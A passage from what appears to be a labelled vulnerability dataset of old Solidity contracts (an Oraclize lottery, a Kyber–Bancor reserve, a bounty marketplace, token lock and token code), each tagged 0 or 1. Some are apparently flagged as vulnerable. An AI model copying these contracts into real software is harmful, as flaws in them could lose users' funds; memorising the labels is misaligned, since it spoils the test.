copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal constant {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
contract Line is usingOraclize {
address private owner;
uint constant public jackpotNumerator = 50;
uint constant public winNumerator = 5;
uint constant public denominator = 100;
uint public jackpot = 0;
address[] internal addresses;
mapping(address => SpinRec) internal spinsByAddr;
mapping(bytes32 => SpinRec) internal spinsByQuery;
struct SpinRec {
uint id;
bytes32 queryId;
uint bet;
uint token;
}
event Jackpot(uint line, address addr, uint date, uint prize, uint left);
event Win(uint line, address addr, uint date, uint prize, uint left);
event KeepSpinning(uint line, address addr, uint date, uint prize, uint left);
event Spin(address addr, bytes32 queryId, uint bet, uint jackpot);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function getQueryId() constant public returns (uint) {
return uint(spinsByAddr[msg.sender].queryId);
}
function getTokenFor(uint queryId) constant public returns (uint) {
return spinsByQuery[bytes32(queryId)].token;
}
function getToken() constant public returns (uint) {
return spinsByAddr[msg.sender].token;
}
function getQueryIdBytes() constant public returns (bytes32) {
return spinsByAddr[msg.sender].queryId;
}
function getTokenForBytes(bytes32 queryId) constant public returns (uint) {
return spinsByQuery[queryId].token;
}
function revealResult(uint token, bytes32 queryId) internal {
SpinRec storage spin = spinsByQuery[queryId];
require(spin.id != 0);
spin.token = token;
address player = addresses[spin.id];
spinsByAddr[player].token = token;
uint prizeNumerator = 0;
if (token == 444) {
prizeNumerator = jackpotNumerator;
} else if (token == 333 || token == 222 || token == 111) {
prizeNumerator = winNumerator;
}
uint prize = 0;
if (prizeNumerator > 0) {
prize = this.balance / 100 * prizeNumerator;
if (player.send(prize)) {
if (prizeNumerator == jackpotNumerator) {
emit Jackpot(token, player, now, prize, this.balance);
} else {
emit Win(token, player, now, prize, this.balance);
}
owner.transfer(this.balance / 100);
}
} else if (token % 2 == 0) {
prize = spin.bet / 2;
if (player.send(prize)) {
emit KeepSpinning(token, player, now, prize, this.balance);
}
}
}
function recordSpin(bytes32 queryId) internal {
SpinRec storage spin = spinsByAddr[msg.sender];
if (spin.id == 0) {
msg.sender.transfer(0 wei);
spin.id = addresses.length;
addresses.push(msg.sender);
}
spin.bet = msg.value;
spin.queryId = queryId;
spinsByQuery[queryId] = spin;
}
function waiver() private {
delete owner;
}
function reset() onlyOwner public {
owner.transfer(this.balance);
}
function() payable public {
jackpot += msg.value;
require(msg.value > 10);
bytes32 queryId = requestRandom();
recordSpin(queryId);
emit Spin(msg.sender, queryId, msg.value, jackpot);
}
uint constant public randomSize = 5;
function __callback(bytes32 _queryId, string _result, bytes _proof) public {
if (msg.sender != oraclize_cbAddress()) throw;
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
} else {
uint maxRange = 2**(8 * randomSize);
uint randomNumber = uint(sha3(_result)) % maxRange;
revealResult(randomNumber%345 + 100, _queryId);
}
}
function requestRandom() internal returns (bytes32) {
uint callbackGas = 200000;
bytes32 queryId = oraclize_newRandomDSQuery(0, randomSize, callbackGas);
return queryId;
}
function Line() public {
oraclize_setProof(proofType_Ledger);
delete addresses;
addresses.length = 1;
owner = msg.sender;
}
} | 0 |
pragma solidity 0.4.18;
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface KyberReserveInterface {
function trade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
public
payable
returns(bool);
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint);
}
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28);
uint constant internal MAX_RATE = (PRECISION * 10**6);
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS;
uint tokenDecimals = decimals[token];
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator;
}
}
contract Utils2 is Utils {
function getBalance(ERC20 token, address user) public view returns(uint) {
if (token == ETH_TOKEN_ADDRESS)
return user.balance;
else
return token.balanceOf(user);
}
function getDecimalsSafe(ERC20 token) internal returns(uint) {
if (decimals[token] == 0) {
setDecimals(token);
}
return decimals[token];
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals)
internal pure returns(uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
}
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed( address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]);
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]);
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
contract IBancorConverter {
function getReturn(ERC20 _fromToken, ERC20 _toToken, uint _amount) public view returns (uint256, uint256);
}
contract KyberBancorReserve is KyberReserveInterface, Withdrawable, Utils2 {
address public sanityRatesContract = 0;
address public kyberNetwork;
IBancorConverter public bancor;
ERC20 public token;
ERC20 public constant BANCOR_ETH = ERC20(0xc0829421C1d260BD3cB3E0F06cfE2D52db2cE315);
bool public tradeEnabled = true;
int public buyPremiumInBps = -25;
int public sellPremiumInBps = -25;
uint public lastBuyRate;
uint public lastSellRate;
uint public baseEthQty = 5 ether;
function KyberBancorReserve(
IBancorConverter _bancor,
address _kyberNetwork,
ERC20 _token,
address _admin
)
public
{
require(_bancor != address(0));
require(_kyberNetwork != address(0));
require(_token != address(0));
kyberNetwork = _kyberNetwork;
bancor = _bancor;
token = _token;
admin = _admin;
setDecimals(token);
setDecimals(ETH_TOKEN_ADDRESS);
(lastBuyRate, lastSellRate) = getBancorRatePlusPremiumForEthQty(baseEthQty);
}
function() public payable {
}
function setPremium(int newBuyPremium, int newSellPremium, uint newEthBaseQty) public onlyAdmin {
require(newBuyPremium >= -10000);
require(newBuyPremium <= int(MAX_QTY));
require(newSellPremium >= -10000);
require(newSellPremium <= int(MAX_QTY));
sellPremiumInBps = newSellPremium;
buyPremiumInBps = newBuyPremium;
baseEthQty = newEthBaseQty;
(lastBuyRate, lastSellRate) = getBancorRatePlusPremiumForEthQty(baseEthQty);
}
event TradeExecute(
address indexed sender,
address src,
uint srcAmount,
address destToken,
uint destAmount,
address destAddress
);
function trade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
public
payable
returns(bool)
{
require(tradeEnabled);
require(msg.sender == kyberNetwork);
require(doTrade(srcToken, srcAmount, destToken, destAddress, conversionRate, validate));
return true;
}
event TradeEnabled(bool enable);
function enableTrade() public onlyAdmin returns(bool) {
tradeEnabled = true;
TradeEnabled(true);
return true;
}
function disableTrade() public onlyAlerter returns(bool) {
tradeEnabled = false;
TradeEnabled(false);
return true;
}
event KyberNetworkSet(address kyberNetwork);
function setKyberNetwork(address _kyberNetwork) public onlyAdmin {
require(_kyberNetwork != address(0));
kyberNetwork = _kyberNetwork;
KyberNetworkSet(kyberNetwork);
}
function valueAfterAddingPremium(uint val, int premiumInBps) public pure returns(uint) {
require(val <= MAX_QTY);
return val * uint(10000 + premiumInBps) / 10000;
}
function shouldUseInternalInventory(uint val,
ERC20 dest) public view returns(bool) {
if (dest == token) {
return val <= token.balanceOf(this);
}
else {
return val <= this.balance;
}
}
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) {
srcQty;
blockNumber;
if (!tradeEnabled) return 0;
if (!validTokens(src, dest)) return 0;
uint rate;
if (src == ETH_TOKEN_ADDRESS) {
rate = lastBuyRate;
}
else {
rate = lastSellRate;
}
if(! shouldUseInternalInventory(calcDstQty(srcQty, getDecimals(src), getDecimals(dest), rate),
dest) ) return 0;
return rate;
}
function getBancorRatePlusPremiumForEthQty(uint ethQty) public view returns(uint, uint) {
uint tokenReturn;
uint ethReturn;
uint buyRate = 0;
uint sellRate = 0;
if (!tradeEnabled) return (0,0);
(tokenReturn,) = bancor.getReturn(BANCOR_ETH, token, ethQty);
(ethReturn,) = bancor.getReturn(token, BANCOR_ETH, tokenReturn);
tokenReturn = valueAfterAddingPremium(tokenReturn, buyPremiumInBps);
ethReturn = valueAfterAddingPremium(ethReturn, sellPremiumInBps);
if(ethQty > 0) buyRate = calcRateFromQty(ethQty, tokenReturn, getDecimals(ETH_TOKEN_ADDRESS), getDecimals(token));
if(tokenReturn > 0) sellRate = calcRateFromQty(tokenReturn, ethReturn, getDecimals(token), getDecimals(ETH_TOKEN_ADDRESS));
return (buyRate,sellRate);
}
function doTrade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
internal
returns(bool)
{
require(validTokens(srcToken, destToken));
if (validate) {
require(conversionRate > 0);
if (srcToken == ETH_TOKEN_ADDRESS)
require(msg.value == srcAmount);
else
require(msg.value == 0);
}
if (srcToken != ETH_TOKEN_ADDRESS) require(token.transferFrom(msg.sender,this,srcAmount));
uint userExpectedDestAmount = calcDstQty(srcAmount, getDecimals(srcToken), getDecimals(destToken), conversionRate);
if(destToken == ETH_TOKEN_ADDRESS) destAddress.transfer(userExpectedDestAmount);
else require(destToken.transfer(destAddress, userExpectedDestAmount));
TradeExecute(msg.sender, srcToken, srcAmount, destToken, userExpectedDestAmount, destAddress);
(lastBuyRate, lastSellRate) = getBancorRatePlusPremiumForEthQty(baseEthQty);
return true;
}
function validTokens(ERC20 src, ERC20 dest) internal view returns (bool valid) {
return ((token == src && ETH_TOKEN_ADDRESS == dest) ||
(token == dest && ETH_TOKEN_ADDRESS == src));
}
} | 1 |
pragma solidity ^0.4.22;
contract DmlMarketplace {
mapping(address => bool) public moderators;
address public token;
DmlBountyFactory public bountyFactory;
mapping(bytes32 => uint) public totals;
mapping(address => mapping(bytes32 => bool)) public hasPurchased;
constructor() public {
moderators[msg.sender] = true;
}
function isReady() view public returns (bool success) {
if (token == address(0) || bountyFactory == address(0)) {
return false;
}
return true;
}
function isModerator(address modAddress) view public returns (bool success) {
return moderators[modAddress];
}
function addModerator(address newModerator) public {
require(isModerator(msg.sender));
moderators[newModerator] = true;
}
function removeModerator(address mod) public {
require(isModerator(msg.sender));
moderators[mod] = false;
}
function init (address newTokenAddress) public returns (bool success) {
require(isModerator(msg.sender));
token = newTokenAddress;
DmlBountyFactory f = new DmlBountyFactory(token);
bountyFactory = f;
return true;
}
function setBountyFactory(address factoryAddress) public {
require(isModerator(msg.sender));
DmlBountyFactory f = DmlBountyFactory(factoryAddress);
bountyFactory = f;
}
function buy(bytes32 algoId, uint value) public returns (bool success) {
address sender = msg.sender;
require(!hasPurchased[msg.sender][algoId]);
ERC20Interface c = ERC20Interface(token);
require(c.transferFrom(sender, address(this), value));
hasPurchased[sender][algoId] = true;
if (totals[algoId] < 1) {
totals[algoId] = 1;
} else {
totals[algoId]++;
}
return true;
}
function transferToken (address receiver, uint amount) public {
require(isModerator(msg.sender));
ERC20Interface c = ERC20Interface(token);
require(c.transfer(receiver, amount));
}
}
contract DmlBountyFactory {
address public marketplace;
address public token;
address[] public allBountyAddresses;
mapping(address => address[]) public bountyAddressByCreator;
mapping(address => address[]) public bountyAddressByParticipant;
constructor(address tokenAddress) public {
marketplace = msg.sender;
token = tokenAddress;
}
function getAllBounties() view public returns (address[] bounties) {
return allBountyAddresses;
}
function getBountiesByCreator(address creatorAddress) view public returns (address[] bounties) {
return bountyAddressByCreator[creatorAddress];
}
function getBountiesByParticipant(address participantAddress) view public returns (address[] bounties) {
return bountyAddressByParticipant[participantAddress];
}
function createBounty(string name, uint[] prizes) public {
address creator = msg.sender;
address newBounty = new Bounty(token, creator, name, prizes, marketplace);
allBountyAddresses.push(newBounty);
bountyAddressByCreator[msg.sender].push(newBounty);
}
function joinBounty(address bountyAddress) public {
Bounty b = Bounty(bountyAddress);
require(b.join(msg.sender));
bountyAddressByParticipant[msg.sender].push(bountyAddress);
}
}
contract Bounty {
address public factory;
address public creator;
address public token;
address public marketplace;
string public name;
uint[] public prizes;
uint public createdAt;
address[] public winners;
address[] public participants;
Status public status;
mapping(address => bool) public participantsMap;
enum Status {
Initialized,
EnrollmentStart,
EnrollmentEnd,
BountyStart,
BountyEnd,
EvaluationEnd,
Completed,
Paused
}
constructor(
address tokenAddress,
address creatorAddress,
string initName,
uint[] initPrizes,
address mpAddress
) public {
factory = msg.sender;
marketplace = mpAddress;
creator = creatorAddress;
token = tokenAddress;
prizes = initPrizes;
status = Status.Initialized;
name = initName;
createdAt = now;
}
function isFunded() public view returns (bool success) {
ERC20Interface c = ERC20Interface(token);
require(getTotalPrize() <= c.balanceOf(address(this)));
return true;
}
function getData() public view returns (string retName, uint[] retPrizes, address[] retWinenrs, address[] retParticipants, Status retStatus, address retCreator, uint createdTime) {
return (name, prizes, winners, participants, status, creator, createdAt);
}
function join(address participantAddress) public returns (bool success) {
require(msg.sender == factory);
if (status != Status.EnrollmentStart) {
return false;
}
if (participantsMap[participantAddress] == true) {
return false;
}
participants.push(participantAddress);
participantsMap[participantAddress] = true;
return true;
}
function updateBounty(string newName, uint[] newPrizes) public {
require(updateName(newName));
require(updatePrizes(newPrizes));
}
function updateName(string newName) public returns (bool success) {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender) || msg.sender == creator);
name = newName;
return true;
}
function forceUpdateName(string newName) public returns (bool success) {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender));
name = newName;
return true;
}
function updatePrizes(uint[] newPrizes) public returns (bool success) {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender) || msg.sender == creator);
require(status == Status.Initialized);
prizes = newPrizes;
return true;
}
function forceUpdatePrizes(uint[] newPrizes) public returns (bool success) {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender));
prizes = newPrizes;
return true;
}
function setStatus(Status newStatus) private returns (bool success) {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender) || msg.sender == creator);
status = newStatus;
return true;
}
function forceSetStatus(Status newStatus) public returns (bool success) {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender));
status = newStatus;
return true;
}
function startEnrollment() public {
require(prizes.length > 0);
require(isFunded());
setStatus(Status.EnrollmentStart);
}
function stopEnrollment() public {
require(status == Status.EnrollmentStart);
setStatus(Status.EnrollmentEnd);
}
function startBounty() public {
require(status == Status.EnrollmentEnd);
setStatus(Status.BountyStart);
}
function stopBounty() public {
require(status == Status.BountyStart);
setStatus(Status.BountyEnd);
}
function updateWinners(address[] newWinners) public {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender) || msg.sender == creator);
require(status == Status.BountyEnd);
require(newWinners.length == prizes.length);
for (uint i = 0; i < newWinners.length; i++) {
require(participantsMap[newWinners[i]]);
}
winners = newWinners;
setStatus(Status.EvaluationEnd);
}
function forceUpdateWinners(address[] newWinners) public {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender));
winners = newWinners;
}
function payoutWinners() public {
ERC20Interface c = ERC20Interface(token);
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender) || msg.sender == creator);
require(isFunded());
require(winners.length == prizes.length);
require(status == Status.EvaluationEnd);
for (uint i = 0; i < prizes.length; i++) {
require(c.transfer(winners[i], prizes[i]));
}
setStatus(Status.Completed);
}
function getTotalPrize() public constant returns (uint total) {
uint t = 0;
for (uint i = 0; i < prizes.length; i++) {
t = t + prizes[i];
}
return t;
}
function transferToken (address receiver, uint amount) public {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender));
ERC20Interface c = ERC20Interface(token);
require(c.transfer(receiver, amount));
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30153600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x90486f86EC7b50A59AD6129696778526DCC8AF4F;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.25;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract RepublicToken is PausableToken, BurnableToken {
string public constant name = "Republic Token";
string public constant symbol = "REN";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * 10**uint256(decimals);
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function transferTokens(address beneficiary, uint256 amount) public onlyOwner returns (bool) {
require(amount > 0);
balances[owner] = balances[owner].sub(amount);
balances[beneficiary] = balances[beneficiary].add(amount);
emit Transfer(owner, beneficiary, amount);
return true;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
library LinkedList {
